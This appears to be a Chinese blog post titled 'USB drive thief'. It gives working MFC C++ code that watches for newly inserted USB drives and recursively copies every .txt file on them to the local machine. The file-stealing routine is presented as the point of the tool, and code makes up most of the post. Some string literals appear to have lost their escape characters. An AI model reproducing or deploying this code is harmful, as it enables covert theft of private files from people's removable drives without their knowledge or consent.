U盘小偷

实现原理:

  功能主要是对设备的插入和拔出进行监控,所以只需要对WM_DEVICECHANGE消息回调函数的wParam参数进行判断即可。主要判断操作是否为设备已插入操作DBT_DEVICEARRIVAL或设备已移除操作DBT_DEVICEREMOVECOMPLETE。然后再重点分析相应操作对应的lParam参数里存储的信息数据,从而产生操作设备的盘符信息。

实现代码:

//响应WM_DEVICECHANGE消息
afx_msg LRESULT CFunction::OnDevicechange(WPARAM wParam, LPARAM lParam)
{
    switch (wParam)
    {
        // 设备已插入
    case DBT_DEVICEARRIVAL:
    {
        PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
        // 逻辑卷
        if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
        {
            // 根据 dbcv_unitmask 计算出设备盘符
            PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
            DWORD dwDriverMask = lpdbv->dbcv_unitmask;
            DWORD dwTemp = 1;
            char szDriver[4] = "A:\";
            for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
            {
                if (0 < (dwTemp & dwDriverMask))
                {
                    // 获取设备盘符
                    ::MessageBoxA(NULL, szDriver, "设备已插入", MB_OK);

                    //对文件进行遍历
                    CopyFiles(szDriver, ".txt");
                }
                // 左移1位, 接着判断下一个盘符
                dwTemp = (dwTemp << 1);
            }
        }
        break;
    }
    // 设备已经移除
    case DBT_DEVICEREMOVECOMPLETE:
    {
        PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
        // 逻辑卷
        if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
        {
            // 根据 dbcv_unitmask 计算出设备盘符
            PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
            DWORD dwDriverMask = lpdbv->dbcv_unitmask;
            DWORD dwTemp = 1;
            char szDriver[4] = "A:\";
            for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
            {
                if (0 < (dwTemp & dwDriverMask))
                {
                    // 获取设备盘符
                    ::MessageBoxA(NULL, szDriver, "设备已移除", MB_OK);
                    return 0;
                }
                // 左移1位, 接着判断下一个盘符
                dwTemp = (dwTemp << 1);
            }
        }
        break;
    }
    default:
        break;
    }
    return 0;
}
    //************************************
    // 函数名:CFunction::CopyFiles
    // 返回类型:BOOL
    // 功能:    拷贝文件
    // 参数1:char* FullPath    需要遍历文件的完整路径
    // 参数2:char* szPostFix    要拷贝文件的文件后缀
    //************************************
BOOL CFunction::CopyFiles(char* FullPath, char* szPostFix)
{
    char NextPath[MAX_PATH] = { 0 };
    char FullFileName[MAX_PATH] = { 0 };
    USES_CONVERSION;

    CString temp;
    temp.Format(_T("%s\*"), CString(FullPath));

    WIN32_FIND_DATA FindData = { 0 };

    //查找第一个文件
    HANDLE hFile = FindFirstFile(temp, &FindData);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBox(_T("FindFirstFile Error"));
        return FALSE;
    }

    do
    {
        //过滤当前目录和上一层目录
        if (lstrcmp(FindData.cFileName, L".") == 0 || lstrcmp(FindData.cFileName, L"..") == 0)
        {
            continue;
        }

        //判断文件属性
        if (FindData.dwFileAttributes&FILE_ATTRIBUTE_HIDDEN)
        {
            //如果文件为隐藏的 则跳过
            continue;
        }
        //如果是目录 则递归遍历子目录
        if (FindData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)
        {
            sprintf_s(NextPath, "%s\%s", FullPath, W2A(FindData.cFileName));
            CopyFiles(NextPath, szPostFix);    //拷贝所有的.txt文件
        }
        else
        {
            //否则 说明是文件 判断后缀 拷贝文件
            //拼接完整的路径名
            sprintf_s(FullFileName, "%s\%s", FullPath, W2A(FindData.cFileName));

            //找到后缀
            char* PostFix = NULL;
            PostFix = strrchr(FullFileName, '.');
            if (PostFix == NULL)
            {
                //如果没有后缀 直接跳过
                continue;
            }
            if (strcmp(PostFix, szPostFix) == 0)
            {
                //拷贝文件到当前目录
                CopyFile(A2W(FullFileName), FindData.cFileName, FALSE);
            }
        }
    } while (FindNextFile(hFile, &FindData));

    return TRUE;
}
原文地址:https://www.cnblogs.com/ndyxb/p/12913692.html